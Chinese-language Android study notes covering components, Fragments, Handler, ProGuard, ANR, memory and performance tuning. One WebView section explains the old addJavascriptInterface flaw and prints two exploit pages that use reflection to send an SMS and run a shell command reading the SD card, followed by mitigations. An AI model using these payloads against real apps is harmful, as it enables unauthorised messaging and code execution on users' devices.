四大组件之一,通常一个用户交互界面对应一个activity。activity是Context的子类,同时实现了window.callback和keyevent.callback,可以处理与窗体用户交互的事件。
开发中常用的有FragmentActivity、ListActivity、TabActivity(Android 4.0被Fragment取代)
standard 标准模式:
特点:此模式不管有没有已存在的实例,都生成新的实例。每次调用startActivity()启动Activity时都会创建一个新的Activity放在栈顶,每次返回都会销毁实例并出栈,可以重复创建。
singleTop 单一顶部模式/栈顶复用模式:
特点:会检查任务栈栈顶的Activity,如果发现栈顶已经存在实例,就不会创建新的实例,直接复用,此时会调用onNewIntent。但如果不在栈顶,那么还是会创建新的实例。
应用场景:浏览器书签的页面,流氓的网站,避免创建过多的书签页面
singleTask 单一任务模式/栈内复用模式:
特点:这种模式不会检查任务栈的栈顶,检查当前任务栈,如果发现有实例存在,直接复用。任务栈中只有一个实例存储(把当前activity上面的所有的其它activity都清空,复用这个已经存在的activity)
应用场景:浏览器浏览页面的Activity,播放器播放的activity。
singleInstance 单一实例模式(用得比较少)
特点:系统会为这个Activity单独创建一个任务栈,这个任务栈里面只有一个实例存在并且保证不再有其它activity实例进入。
应用场景:来电页面。
Android中的scheme是一种页面内跳转协议,是一种非常好的实现机制,通过定义自己的scheme协议,可以非常方便跳转app中的各个页面;通过scheme协议,服务器可以定制化告诉app跳转哪个页面,可以通过通知栏消息定制化跳转页面,可以通过H5页面跳转页面等。
Android面试(一):Activity面试你所需知道的一切
android-Scheme与网页跳转原生的三种方式
Fragment,俗称碎片,自Android 3.0开始被引进并大量使用。作为Activity界面的一部分,Fragment的存在必须依附于Activity,并且与Activity一样,拥有自己的生命周期,同时处理用户的交互动作。同一个Activity可以有一个或多个Fragment作为界面内容,并且可以动态添加、删除Fragment,灵活控制UI内容,也可以用来解决部分屏幕适配问题。
首先Fragment的使用次数是不输于其他四大组件的,而且Fragment有自己的生命周期,比Activity更加节省内存,切换模式也更加舒适,使用频率不低于四大组件。
![Fragment的生命周期](https://upl
oad-images.jianshu.io/upload_images/2570030-bb960a5fce263a3f.png?imageMogr2/auto-orient/strip|imageView2/2/w/1240)
静态加载
动态加载(需要用到事务操作,常用)
创建Fragment的xml布局文件
在Fragment的onCreateView中inflate布局,返回
@Nullable
@Override
public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
return inflater.inflate(R.layout.activity_main, container, false);
}
在Activity中通过获取FragmentManager(SupportFragmentManager),通过beginTransaction()方法开启事务
进行add()/remove()/replace()/attach()/detach()/hide()/addToBackStack()事务操作(都是对Fragment的栈进行操作,其中add()指定的tag参数可以方便以后通过findFragmentByTag()找到这个Fragment)
提交事务:commit()
示例代码:
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
getSupportFragmentManager().beginTransaction()
.add(R.id.fragment_container, new TestFragment(), "test")
.commit();
TestFragment f = (TestFragment) getSupportFragmentManager().findFragmentByTag("test");
}
通过findFragmentByTag或者getActivity获得对方的引用(强转)之后,再相互调用对方的public方法。
优点:简单粗暴
缺点:引入了“强转”的丑陋代码,另外两个类之间各自持有对方的强引用,耦合较大,容易造成内存泄漏
通过Bundle的方法进行传值,在添加Fragment的时候进行通信
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Fragment fragment = new TestFragment();
Bundle bundle = new Bundle();
bundle.putString("key", "value");
//Activity中对fragment设置一些参数
fragment.setArguments(bundle);
getSupportFragmentManager().beginTransaction()
.add(R.id.fragment_container, fragment, "test")
.commit();
}
优点:简单粗暴
缺点:只能在Fragment添加到Activity的时候才能使用,属于单向通信
利用eventbus进行通信
优点:实时性高,双向通信,Activity与Fragment之间可以完全解耦
缺点:反射影响性能,无法获取返回数据,EventBUS难以维护
利用接口回调进行通信(Google官方推荐)
//MainActivity实现MainFragment开放的接口
public class MainActivity extends FragmentActivity implements FragmentListener {
@override
public void toH5Page() {
//...其他处理代码省略
}
}
//Fragment的实现
public class MainFragment extends Fragment {
//接口的实例,在onAttach Activity的时候进行设置
public FragmentListener mListener;
//MainFragment开放的接口
public static interface FragmentListener {
//跳到h5页面
void toH5Page();
}
@Override
public void onAttach(Activity activity) {
super.onAttach(activity);
//对传递进来的Activity进行接口转换
if (activity instance FragmentListener){
mListener = ((FragmentListener) activity);
}
}
...其他处理代码省略
}
优点:既能达到复用,又能达到很好的可维护性,并且性能得到保证
缺点:假如项目很大了,Activity与Fragment的数量也会增加,这时候为每对Activity与Fragment交互定义交互接口就是一个很麻烦的问题(包括为接口的命名,新定义的接口相应的Activity还得实现,相应的Fragment还得进行强制转换)
通过Handler进行通信(其实就是把接口的方式改为Handler)
优点:既能达到复用,又能达到很好的可维护性,并且性能得到保证
缺点:Fragment对具体的Activity存在耦合,不利于Fragment复用和维护,没法获取Activity的返回数据
通过广播/本地广播进行通信
优点:简单粗暴
缺点:大材小用,存在性能损耗,传播数据必须实现序列化接口
父子Fragment之间通信,可以使用getParentFragment()/getChildFragmentManager()的方式进行
FragmentPageAdapter在每次切换页面的时候,是将Fragment进行分离,适合页面较少的Fragment使用以保存一些内存,对系统内存不会多大影响
@Override
public void destroyItem(ViewGroup container, int position, Object object) {
if (mCurTransaction == null) {
mCurTransaction = mFragmentManager.beginTransaction();
}
if (DEBUG) Log.v(TAG, "Detaching item #" + getItemId(position) + ": f=" + object
+ " v=" + ((Fragment)object).getView());
//FragmentPageAdapter在destroyItem的时候调用detach
mCurTransaction.detach((Fragment)object);
}
FragmentPageStateAdapter在每次切换页面的时候,是将Fragment进行回收,适合页面较多的Fragment使用,这样就不会消耗更多的内存
@Override
public void destroyItem(ViewGroup container, int position, Object object) {
Fragment fragment = (Fragment) object;
if (mCurTransaction == null) {
mCurTransaction = mFragmentManager.beginTransaction();
}
if (DEBUG) Log.v(TAG, "Removing item #" + position + ": f=" + object
+ " v=" + ((Fragment)object).getView());
while (mSavedState.size() <= position) {
mSavedState.add(null);
}
mSavedState.set(position, fragment.isAdded()
? mFragmentManager.saveFragmentInstanceState(fragment) : null);
mFragments.set(position, null);
//FragmentPageStateAdapter在destroyItem的时候调用remove
mCurTransaction.remove(fragment);
}
Android:Activity与Fragment通信(99%)完美解决方案
Service是四大组件之一,它可以在后台执行长时间运行操作而没有用户界面的应用组件
startService特点:
bindService特点:
BroadcastReceiver是四大组件之一,是一种广泛运用在应用程序之间传输信息的机制,通过发送Intent来传送我们的数据。
普通广播(Normal Broadcast)
系统广播(System Broadcast)
有序广播(Ordered Broadcast)
App应用内广播(本地广播、Local Broadcast)
粘性广播(Sticky Broadcast)
基本使用:可以通过intent.setPackage(packageName)指定包名,也可以使用localBroadcastManager(常用),示例代码如下:
//注册应用内广播接收器
//步骤1:实例化BroadcastReceiver子类 & IntentFilter mBroadcastReceiver
mBroadcastReceiver = new mBroadcastReceiver();
IntentFilter intentFilter = new IntentFilter();
//步骤2:实例化LocalBroadcastManager的实例
localBroadcastManager = LocalBroadcastManager.getInstance(this);
//步骤3:设置接收广播的类型
intentFilter.addAction(android.net.conn.CONNECTIVITY_CHANGE);
//步骤4:调用LocalBroadcastManager单一实例的registerReceiver()方法进行动态注册
localBroadcastManager.registerReceiver(mBroadcastReceiver, intentFilter);
//取消注册应用内广播接收器
localBroadcastManager.unregisterReceiver(mBroadcastReceiver);
//发送应用内广播
Intent intent = new Intent();
intent.setAction(BROADCAST_ACTION);
localBroadcastManager.sendBroadcast(intent);
localBroadcastManager的实现机制
Android四大组件:BroadcastReceiver史上最全面解析
Android 粘性广播StickyBroadcast的使用
咦,Oreo怎么收不到广播了?
LocalBroadcastManager—创建更高效、更安全的广播
Android API level 16以及之前的版本存在远程代码执行安全漏洞,该漏洞源于程序没有正确限制使用WebView.addJavascriptInterface方法,远程攻击者可通过使用Java Reflection API利用该漏洞执行任意Java对象的方法。
简单的说就是通过addJavascriptInterface给WebView加入一个JavaScript桥接接口,JavaScript通过调用这个接口可以直接操作本地的JAVA接口。
WebView代码如下所示:
mWebView = new WebView(this);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(this, "injectedObj");
mWebView.loadUrl("file:///android_asset/www/index.html");
发送恶意短信:
<html>
<body>
<script>
var objSmsManager = injectedObj.getClass().forName("android.telephony.SmsManager").getM ethod("getDefault",null).invoke(null,null);
objSmsManager.sendTextMessage("10086",null,"this message is sent by JS when webview is loading",null,null);
script>
body>
html>
利用反射机制调用Android API getRuntime执行shell命令,最终操作用户的文件系统:
<html>
<body>
<script>
function execute(cmdArgs)
{
return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
document.write(getContents(res.getInputStream()));
script>
body>
html>
允许被调用的函数必须以@JavascriptInterface进行注解(API Level小于17的应用也会受影响)
建议不要使用addJavascriptInterface接口,以免带来不必要的安全隐患,采用动态地生成将注入的JS代码的方式来代替
如果一定要使用addJavascriptInterface接口:
移除Android系统内部的默认内置接口
removeJavascriptInterface("searchBoxJavaBridge_");
removeJavascriptInterface("accessibility");
removeJavascriptInterface("accessibilityTraversal");
客户端和服务端之间可以通过JSBridge来互相调用各自的方法,实现双向通信
由于WebView是依附于Activity的,Activity的生命周期和WebView启动的线程的生命周期是不一致的,这会导致WebView一直持有对这个Activity的引用而无法释放,解决方案如下
独立进程,简单暴力,不过可能涉及到进程间通信(推荐)
动态添加WebView,对传入WebView中使用的Context使用弱引用
正确销毁WebView,WebView在其他容器上时(如:LinearLayout),当销毁Activity时,需要:
在WebView加载页面的时候,会自动开启线程去加载,如果不很好的关闭这些线程,就会导致电量消耗加大。
可以采用暴力的方法,直接在onDestroy方法中System.exit(0)结束当前正在运行中的java虚拟机
Android3.0引入硬件加速,默认会开启,WebView在硬件加速的情况下滑动更加平滑,性能更加好,但是会出现白块或者页面闪烁的副作用。
建议在需要的地方WebView暂时关闭硬件加速
WebViewClient.onPageFinished在每次页面加载完成的时候调用,但是遇到未加载完成的页面跳转其他页面时,就会被一直调用
使用WebChromeClient.onProgressChanged替代WebViewClient.onPageFinished
WebView 远程代码执行漏洞浅析
Android WebView远程执行代码漏洞浅析
Android WebView 远程代码执行漏洞简析
在WebView中如何让JS与Java安全地互相调用
根据上图,Android系统架构从上往下分别是:
写给Android App开发人员看的Android底层知识(1)- Binder与AIDL
写给Android App开发人员看的Android底层知识(2)- AMS与APP、Activity的启动流程
写给Android App开发人员看的Android底层知识(3)- AMS与APP、Activity的启动流程
写给Android App开发人员看的Android底层知识(4)- Context
写给Android App开发人员看的Android底层知识(5)- Service
写给Android App开发人员看的Android底层知识(6)- BroadcastReceiver
写给Android App开发人员看的Android底层知识(7)- ContentProvider
写给Android App开发人员看的Android底层知识(8)- PMS及App安装过程
除此之外,还有消息机制、窗口管理等源码分析,推荐《开发艺术探索》,以及LooperJing的文集:
Android源码解析
Android的消息机制主要包括Handler、MessageQueue和Looper。
Handler是Android中引入的一种让开发者参与处理线程中消息循环的机制。每个Handler都关联了一个线程,每个线程内部都维护了一个消息队列MessageQueue,这样Handler实际上也就关联了一个消息队列。可以通过Handler将Message和Runnable对象发送到该Handler所关联线程的MessageQueue(消息队列)中,然后该消息队列一直在循环拿出一个Message,对其进行处理,处理完之后拿出下一个Message,继续进行处理,周而复始。
Android的UI控件不是线程安全的,如果在多线程中访问UI控件则会导致不可预期的状态。那为什么不对UI控件访问加锁呢?
访问加锁缺点有两个:
那我们不用线程来操作不就行了吗?但这是不可能的,因为Android的主线程不能执行耗时操作,否则会出现ANR。
所以,从各方面来说,Android消息机制是为了解决在子线程中无法访问UI的矛盾。
如图所示,在主线程ActivityThread中的main方法入口中,先是创建了系统的Handler(H),创建主线程的Looper,将Looper与主线程绑定,调用了Looper的loop方法之后开启整个应用程序的主循环。Looper里面有一个消息队列,通过Handler发送消息到消息队列里面,然后通过Looper不断去循环取出消息,交给Handler去处理。通过系统的Handler,或者说Android的消息处理机制就确保了整个Android系统有条不紊地运作,这是Android系统里面的一个比较重要的机制。
我们的APP也可以创建自己的Handler,可以是在主线程里面创建,也可以在子线程里面创建,但是需要手动创建子线程的Looper并且手动启动消息循环。
非静态内部类持有外部类的匿名引用,导致Activity无法释放(生命周期不一致)
Handler的工作是依赖于Looper的,而Looper(与消息队列)又是属于某一个线程(ThreadLocal是线程内部的数据存储类,通过它可以在指定线程中存储数据,其他线程则无法获取到),其他线程不能访问。
因此Handler就是间接跟线程是绑定在一起了。因此要使用Handler必须要保证Handler所创建的线程中有Looper对象并且启动循环。因为子线程中默认是没有Looper的,所以会报错。
正确的在子线程中创建Handler的方法如下(可以使用HandlerThread代替):
handler = null;
new Thread(new Runnable() {
private Looper mLooper;
@Override
public void run() {
//必须调用Looper的prepare方法为当前线程创建一个Looper对象,然后启动循环
//prepare方法中实质是给ThreadLocal对象创建了一个Looper对象
//如果当前线程已经创建过Looper对象了,那么会报错
Looper.prepare();
handler = new Handler();
//获取Looper对象
mLooper = Looper.myLooper();
//启动消息循环
Looper.loop();
//在适当的时候退出Looper的消息循环,防止内存泄漏
mLooper.quit();
}
}).start();
注意:
UI更新的时候,会对当前线程进行检验,如果不是主线程,则抛出异常:
void checkThread() {
if (mThread != Thread.currentThread()) {
throw new CalledFromWrongThreadException(
"Only the original thread that created a view hierarchy can touch its views.");
}
}
比较特殊的三种情况:
Android 源码分析之旅3.1–消息机制源码分析
android消息机制原理详解
Android中Handler的使用
它本质上就是一个封装了线程池和Handler的异步框架。
AsyncTask执行任务时,内部会创建一个进程作用域的线程池来管理要运行的任务,也就是说当你调用了AsyncTask.execute()后,AsyncTask会把任务交给线程池,由线程池来管理创建Thread和运行Thread。
非静态内部类持有外部类的匿名引用,导致Activity无法释放(生命周期不一致,与Handler一样)
在屏幕旋转、Activity在内存紧张时被回收等造成Activity重新创建时AsyncTask数据丢失的问题。当Activity销毁并重新创建后,还在运行的AsyncTask会持有一个Activity的非法引用即之前的Activity实例。导致onPostExecute()没有任何作用(一般是对UI更新无效)。
AsyncTask 使用和缺陷
重点(防止线程多次创建、销毁):当系统有多个耗时任务需要执行时,每个任务都会开启一个新线程去执行耗时任务,这样会导致系统多次创建和销毁线程,从而影响性能。为了解决这一问题,Google提供了HandlerThread,HandlerThread是在线程中创建一个Looper循环器,让Looper轮询消息队列,当有耗时任务进入队列时,则不需要开启新线程,在原有的线程中执行耗时任务即可,否则线程阻塞。
HandlerThread集Thread和Handler之所长,适用于会长时间在后台运行,并且间隔时间内(或适当情况下)会调用的情况,比如上面所说的实时更新。
HandlerThread本质上是一个线程,继承自Thread,与线程池不同,HandlerThread是一个串行队列,背后只有一个线程
HandlerThread有自己的Looper对象,可以进行Looper循环,可以创建Handler
public class HandlerThread extends Thread {
Looper mLooper;
private @Nullable Handler mHandler;
}
HandlerThread可以在Handler的handleMessage中执行异步方法,异步不会堵塞,减少对性能的消耗
HandlerThread缺点是不能同时继续进行多任务处理,需要等待进行处理,处理效率较低
IntentService继承自Service,内部有一个HandlerThread对象
在onCreate的时候会创建一个HandlerThread对象,并启动线程
紧接着创建ServiceHandler对象,ServiceHandler继承自Handler,用来处理消息。ServiceHandler将获取HandlerThread的Looper就可以开始正常工作了
@Override
public void onCreate() {
super.onCreate();
HandlerThread thread = new HandlerThread("IntentService[" + mName + "]");
thread.start();
mServiceLooper = thread.getLooper();
mServiceHandler = new ServiceHandler(mServiceLooper);
}
每启动一次onStart方法,就会把数消息和数据发给mServiceHandler,相当于发送了一次Message消息给HandlerThread的消息队列。
@Override
public void onStart(@Nullable Intent intent, int startId) {
Message msg = mServiceHandler.obtainMessage();
msg.arg1 = startId;
msg.obj = intent;
mServiceHandler.sendMessage(msg);
}
mServiceHandler会把数据传给onHandleIntent方法,onHandleIntent是个抽象方法,需要在IntentService实现,所以每次onStart方法之后都会调用我们自己写的onHandleIntent方法去处理。处理完毕使用stopSelf通知HandlerThread已经处理完毕,HandlerThread继续观察消息队列,如果还有未执行玩的message则继续执行,否则结束。
private final class ServiceHandler extends Handler {
public ServiceHandler(Looper looper) {
super(looper);
}
@Override
public void handleMessage(Message msg) {
onHandleIntent((Intent)msg.obj);
stopSelf(msg.arg1);
}
}
下图展示了从一个Android项目构建出一个带有签名、对齐操作的APK包的完整过程(省略了代码混淆过程、NDK的编译过程):
下面是具体描述:
详细版本如下:
混淆其实是包括了代码压缩、代码混淆以及资源压缩等的优化过程。
这四个流程默认开启,在Android项目中我们可以选择将“优化”和“预校验”关闭:
代码混淆的优点如下:
开启混淆、开启资源压缩
android {
buildTypes {
release {
minifyEnabled true
shrinkResources true
proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
}
}
}
在proguard-rules.pro添加自定义混淆规则
第三方库所需的混淆规则。正规的第三方库一般都会在接入文档中写好所需混淆规则,使用时注意添加。
在运行时动态改变的代码,例如反射。比较典型的例子就是会与 json 相互转换的实体类。假如项目命名规范要求实体类都要放在model包下的话,可以添加类似这样的代码把所有实体类都保持住:
-keep public class **.*Model*.** {*;}
JNI中调用的类。
WebView中JavaScript调用的方法
Layout布局使用的View构造函数、android:onClick等。
检查混淆结果,避免因混淆引入的bug。一方面,需要从代码层面检查。使用上文的配置进行混淆打包后在 /build/outputs/mapping/release/ 目录下会输出以下文件:
开启代码混淆后的调试
retrace.bat|retrace.sh [-verbose] mapping.txt [<stacktrace_file>]
ProGuard过程中将无用的字段或方法存入到EntryPoint中,将非EntryPoint的字段和方法进行替换,其中Entry Point是在ProGuard过程中不会被处理的类或方法。详细描述如下:
写给Android开发者的混淆使用手册
Android Jenkins+Git+Gradle持续集成-实在太详细
Android中,主线程(UI线程)如果在规定时内没有处理完相应工作,就会出现ANR(Application Not Responding),弹出页面无响应的对话框。
从/data/anr/traces.txt中找到ANR反生的信息:可以从log中搜索“ANR in”或“am_anr”,会找到ANR发生的log,该行会包含了ANR的时间、进程、是何种ANR等信息,如果是BroadcastReceiver的ANR可以怀疑BroadCastReceiver.onReceive()的问题,如果的Service或Provider就怀疑是否其onCreate()的问题。
在该条log之后会有CPU usage的信息,表明了CPU在ANR前后的用量(log会表明截取ANR的时间),从各种CPU Usage信息中大概可以分析如下几点:
除了上述的情况1以外,分析CPU usage之后,确定问题需要我们进一步分析trace文件。trace文件记录了发生ANR前后该进程的各个线程的stack。对我们分析ANR问题最有价值的就是其中主线程的stack,一般主线程的trace可能有如下几种情况:
主线程避免执行耗时操作(文件操作、IO操作、数据库操作、网络访问等):
Activity、Service(默认情况下)的所有生命周期回调
BroadcastReceiver的onReceive()回调方法
AsyncTask的回调除了doInBackground,其他都是在主线程中
没有使用子线程Looper的Handler的handlerMessage,post(Runnable)都是执行在主线程中
尽量避免主线程的被锁的情况,在一些同步的操作主线程有可能被锁,需要等待其他线程释放相应锁才能继续执行,这样会有一定的死锁、从而ANR的风险。对于这种情况有时也可以用异步线程来执行相应的逻辑。
Android ANR问题总结
Android系统是基于Linux 2.6内核开发的开源操作系统,而linux系统的内存管理有其独特的动态存储管理机制。
Android系统对Linux的内存管理机制进行了优化。
Android分配机制上面的优化:
Android内存回收机制上面的优化:
Android内存管理机制
浅谈Android内存管理
内存泄漏是一个对象已经不需要再使用了,但是因为其它的对象持有该对象的引用,导致它的内存不能被垃圾回收器回收。内存泄漏的慢慢积累,最终会导致OOM的发生。
长生命周期的对象持有短生命周期对象的引用就很可能发生内存泄漏。(短生命周期的对象不能被正确回收)
常见的内存泄漏原因及解决方法
用 LeakCanary 检测内存泄漏
InputMethodManager.mLastSrvView memory leak in Android6.0 with huawei mobile phone #572
OOM指Out of memory(内存溢出),当前占用内存 + 我们申请的内存资源 超过了虚拟机的最大内存限制就会抛出Out of memory异常。
Android虚拟机对单个应用的最大内存分配值定义在/system/build.prop文件中
//堆分配的初始大小,它会影响到整个系统对RAM的使用程度,和第一次使用应用时的流畅程度。它值越小,系统ram消耗越慢,但一些较大应用一开始不够用,需要调用gc和堆调整策略,导致应用反应较慢。它值越大,这个值越大系统ram消耗越快,但是应用更流畅。
dalvik.vm.heapstartsize=xxxm
//单个应用可用最大内存。最大内存限制主要针对的是这个值,它表示单个进程内存被限定在xxxm,即程序运行过程中实际只能使用xxxm内存,超出就会报OOM。(仅仅针对dalvik堆,不包括native堆)
dalvik.vm.heapgrowthlimit=xxxm
//单个进程可用的最大内存,但如果存在heapgrowthlimit参数,则以heapgrowthlimit为准。heapsize表示不受控情况下的极限堆,表示单个虚拟机或单个进程可用的最大内存。
dalvik.vm.heapsize=xxxm
ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
int memoryClass = am.getMemoryClass();
每开一个应用就会打开一个独立的虚拟机(这样设计就会在单个程序崩溃的情况下不会导致整个系统的崩溃)
在android开发中,如果要使用大堆,需要在manifest中指定android:largeHeap为true,这样dvm heap最大可达heapsize。尽量少使用large heap。使用额外的内存会影响系统整体的用户体验,并且会使得GC的每次运行时间更长。在任务切换时,系统的性能会变得大打折扣。
Android 性能优化(内存之OOM)
Android 查看每个应用的最大可用内存
Android Lint是一个静态代码分析工具,能够对检测代码质量——对项目中潜在的Bug、可优化的代码、安全性、性能、可用性、可访问性、国际化等进行检查(注:Lint检测不局限于代码,功能十分强大)。
通过下面的gradle命令开启Lint:
./gradlew lint
App项目源文件:包括Java代码,XML代码,图标,以及ProGuard配置文件、Git忽略文件等
lint.xml:Lint 检测的执行标准配置文件,我们可以修改它来允许或者禁止报告一些问题
Lint工具按照标准配置文件中指定的规则去检测App项目源文件,发现问题,并且进行报告。常见的问题有:
执行Gradle命令的时候,通过-x参数不执行某个action
./gradlew build -x lint
创建lint.xml到根目录下,可以自定义Lint安全等级、忽略文件等
自定义Lint检查规则(比如日志不通过LogUtils打印则警告):
Android 性能优化:使用 Lint 优化代码、去除多余资源
Android工具:被你忽视的Lint
自动规避代码陷阱——自定义Lint规则
Android Lint
美团点评技术团队-Android自定义Lint实践2——改进原生Detector
美团自定义Lint示例
Writing a Lint Check
Idea 阿里代码规约插件安装
使用Klockwork进行代码分析简单操作流程
NullAway:Uber用于检测Android上的NullPointerExceptions的开源工具
View的绘制帧数保持60fps是最佳,这要求每帧的绘制时间不超过16ms(1000/60),如果安卓不能在16ms内完成界面的渲染,那么就会出现卡顿现象。而UI的绘制在主线程中进行的,因此UI卡顿本质上就是主线程卡顿。
布局Layout过于复杂,无法在16ms内完成渲染。
过度绘制overDraw,导致像素在同一帧的时间内被绘制多次,使CPU和GPU负载过重。
View频繁的触发measure、layout,导致measure、layout累计耗时过多和整个View频繁的重新渲染。
布局优化
使用TraceView工具检测UI卡顿、方法耗时
在UI线程中做轻微的耗时操作,导致UI线程卡顿:应该把耗时操作放在子线程中进行。
同一时间动画执行的次数过多,导致CPU和GPU负载过重。
频繁的触发GC操作导致线程暂停、内存抖动,会使得安卓系统在16ms内无法完成绘制:可以考虑使用享元模式、避免在onDraw方法中创建对象等。
冗余资源及逻辑等导致加载和执行缓慢。
UI卡顿最严重的后果是ANR,因此需要在开发中避免和解决ANR问题。
列表控件滑动卡顿:复用convertView、滑动不进行加载、使用压缩图片、加载缩略图等。
BlockCanary会在发生卡顿的时候记录各种信息,输出到配置目录下的文件,并弹出消息栏通知,轻松找出Android App界面卡顿元凶。
BlockCanary的核心原理是:通过Android的消息机制在mainLooperPrinter中判断start和end,来获取主线程dispatch该message的开始和结束时间,并判定该时间超过阈值(如2000毫秒)为主线程卡慢发生,并dump出各种信息,提供开发者分析性能瓶颈。
核心代码如下:
Looper.getMainLooper().setMessageLogging(mainLooperPrinter);
@Override
public void println(String x) {
if (!mStartedPrinting) {
mStartTimeMillis = System.currentTimeMillis();
mStartThreadTimeMillis = SystemClock.currentThreadTimeMillis();
mStartedPrinting = true;
} else {
final long endTime = System.currentTimeMillis();
mStartedPrinting = false;
if (isBlock(endTime)) {
notifyBlockEvent(endTime);
}
}
}
private boolean isBlock(long endTime) {
return endTime - mStartTimeMillis > mBlockThresholdMillis;
}
BlockCanary — 轻松找出Android App界面卡顿元凶
冷启动:当启动应用时,后台没有该应用的进程,这时系统会重新创建一个新的进程分配给该应用,这个启动方式就是冷启动。
冷启动大致流程:实例化Application -> 实例化入口Activity -> 显示Activity(配置主题中背景等属性 -> 显示测量布局绘制最终显示在界面上)
热启动:当启动应用时,后台已有该应用的进程,所以在已有进程的情况下,这种启动会从已有的进程中来启动应用,这个方式叫热启动。(例:按back键、home键,应用虽然会退出,但是该应用的进程是依然会保留在后台,可进入任务列表查看)
热启动大致流程(不需要实例化Application):实例化入口Activity -> 显示Activity
使用命令
adb shell am start -W [packageName]/[packageName.XXXActivity]
使用Activity.reportFullyDrawn在Logcat中打印出来,例子:
ActivityManager: Displayed com.android.myexample/.StartupTiming: +3s534ms
使用TraceView精确测量(TraceView工具可以检测UI卡顿、方法耗时)
// start tracing to "/sdcard/calc.trace"
Debug.startMethodTracing("calc");
// ...
// stop tracing
Debug.stopMethodTracing();
使用高速摄像机进行抓帧
设置要启动的Activity主题为透明,可以给用户造成一个视觉上的假象,例如:
<style name="AppTransparentTheme" parent="Theme.AppCompat.Light.NoActionBar.Fullscreen">
- "android:windowIsTranslucent"
>true
- "android:windowBackground">@android:color/transparent
style>
为要启动的Activity设置主题为一张背景图,例如:
<style name="AppBackgroundTheme" parent="Theme.AppCompat.Light.NoActionBar.Fullscreen">
- "android:windowBackground"
>@mipmap/bg_welcome
style>
Android Study 之冷启动优化(解决启动短暂白屏or黑屏)
Android冷启动实现APP秒开
Android 性能优化 冷启动速度优化
直接在Android Studio中打开APK文件,通过APK分析器,可以看到APK文件的组成成分与比例(实际上是调用AAPT工具的功能):
优化assets
优化lib
配置abiFilters精简so动态库,而已根据需求保留需要的平台
defaultConfig {
//armeabi是必须包含的,v7是一个图形加强版本,x86是英特尔平台的支持库
ndk {
abiFilters "armeabi", "armeabi-v7a" ,"x86"
}
}
统计分析用户手机的cpu类型,排除没有或少量用户才会用到的so
优化resources.arsc
优化META-INF:除了公钥CERT.RSA没有压缩机会外,其余的两个文件都可以通过混淆资源名称的方式进行压缩
优化res
动态下载资源
通过Android Studio的重构工具删除无用资源
打包时剔除无用资源
release {
zipAlignEnabled true
minifyEnabled true
shrinkResources true // 是否去除无效的资源文件
proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.txt'
signingConfig signingConfigs.release
}
删除无用的语言(排除了所有的依赖库的资源)
android {
//...
defaultConfig {
resConfigs "zh"
}
}
控制图片、视频、音频资源的大小,推荐使用有损压缩等其他格式(ogg、svg、webp等)
统一应用风格,减少shape文件
使用toolbar,减少menu文件
通过复用等方式减少layout文件
…
优化dex:
App瘦身最佳实践
Android中5种app瘦身方式
使用ps命令可以查看进程信息:
adb shell ps|grep <package_name>
返回的结果分别为:
前台进程:Foreground process(用户正在使用的程序,一般系统是不会杀死前台进程的,除非用户强制停止应用或者系统内存不足等极端情况会杀死。)
可见进程:Visible process(用户正在使用,看得到,但是摸不着,没有覆盖到整个屏幕,只有屏幕的一部分可见进程不包含任何前台组件,一般系统也是不会杀死可见进程的,除非要在资源吃紧的情况下,要保持某个或多个前台进程存活)
服务进程:Service process(在内存不足以维持所有前台进程和可见进程同时运行的情况下,服务进程会被杀死)
后台进程:Background process(系统可能随时终止它们,回收内存)
空进程:Empty process(某个进程不包含任何活跃的组件时该进程就会被置为空进程,完全没用,优先级最低,杀了它只有好处没坏处,第一被回收)
Low memory Killer:定时执行,一旦发现内存低于某个内存阈值,Low memory Killer会根据进程的优先级、进程占用的内存大小等因素通过复杂的评分机制,对进程进行打分,然后将分数高的进程判定为bad进程,杀死并释放内存
Android进程保活的一般套路
关于进程保活的两三事——新手升级经验卡
Android里帐户同步的实现
Bitmap是Android系统中的图像处理的最重要类之一。用它可以获取图像文件信息,进行图像剪切、旋转、缩放等操作,并可以指定格式保存图像文件。
在Androin3.0之前的版本,Bitmap像素数据存放在Native内存中,而且Nativie内存的释放是不确定的,容易内存溢出而Crash,不使用的图片要调用recycle()进行回收。
从Androin3.0开始,Bitmap像素数据和Bitmap对象一起存放在虚拟机的堆内存中(从源代码上看是多了一个byte[] buffer用来存放数据),也就是我们常说的Java Heap内存。
从Androin8.0开始,Bitmap像素数据存重新回到Native内存中
Bitmap的内存占用大小的计算:
一般情况下的计算
Bitmap占用的内存 = width * height * 一个像素所占的内存
在Android中,考虑各种因素情况下的计算
Bitmap占用的内存 = width * height * nTargetDensity/inDensity * nTargetDensity/inDensity * 一个像素所占的内存
Bitmap的内存占用大小与三个因素有关:
有关Bitmap的色彩格式:
Android在3.0之后BitmapFactory.Options引入了inBitmap属性,设置该属性之后解码图片时会尝试复用一张已经存在的Bitmap,避免了内存的回收以及重新申请的过程。
Bitmap复用的限制:
加载大图的时候注意点:
获取图片缩略图的模板代码如下(主要分为3个步骤):
public static Bitmap thumbnail(String path, int width, int height, boolean autoRotate) {
//1. 获得Bitmap的宽高,但是不加载到内存
BitmapFactory.Options options = new BitmapFactory.Options();
options.inJustDecodeBounds = true;
BitmapFactory.decodeFile(path, options);
int srcWidth = options.outWidth;
int srcHeight = options.outHeight;
//2. 计算图片缩放倍数
int inSampleSize = 1;
if (srcHeight > height || srcWidth > width) {
if (srcWidth > srcHeight) {
inSampleSize = Math.round(srcHeight / height);
} else {
inSampleSize = Math.round(srcWidth / width);
}
}
//3. 真正加载图片到内存当中
options.inJustDecodeBounds = false;
options.inSampleSize = inSampleSize;
//ARGB_8888格式的图片,每像素占用 4 Byte,而 RGB565则是 2 Byte
options.inPreferredConfig = Bitmap.Config.RGB_565;
options.inPurgeable = true;
options.inInputShareable = true;
return BitmapFactory.decodeFile(path, options);
}
LRU缓存机制的核心原理:
